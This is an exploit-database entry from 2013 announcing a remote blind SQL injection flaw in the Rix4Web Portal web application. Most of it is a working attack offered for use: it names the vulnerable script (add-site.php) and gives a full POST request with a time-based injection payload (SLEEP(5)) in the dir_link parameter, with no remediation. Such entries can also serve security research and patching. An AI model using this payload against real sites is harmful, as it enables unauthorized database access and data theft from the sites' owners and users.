Lucene search

K
zdtL0n3ly-H34rT1337DAY-ID-20427
HistoryFeb 23, 2013 - 12:00 a.m.

Rix4Web Portal Remote Blind SQL Injection Vulnerability

2013-02-2300:00:00
L0n3ly-H34rT
0day.today
13

Rix4Web Portal suffers from a remote SQL injection vulnerability.

################################################
### Exploit Title: Rix4Web Portal Remote Blind SQL Injection Vulnerability
### Date: 02/23/2013 
### Author: L0n3ly-H34rT 
### Contact: [email protected] 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.rix4web.com/
### Software Link: http://www.traidnt.net/vb/traidnt2230161/
### Tested on: Linux/Windows 
################################################

# AND time-based blind In POST:

POST http://127.0.0.1/rix/add-site.php?do=addnew&go=add

cat_id=1&dir_link=http://www.google.com/' AND SLEEP(5) AND 'test'='test&dir_short=1&dir_title=Mr.

# Just inject : dir_link

################################################

# Greetz To My Friendz

#  0day.today [2018-04-09]  #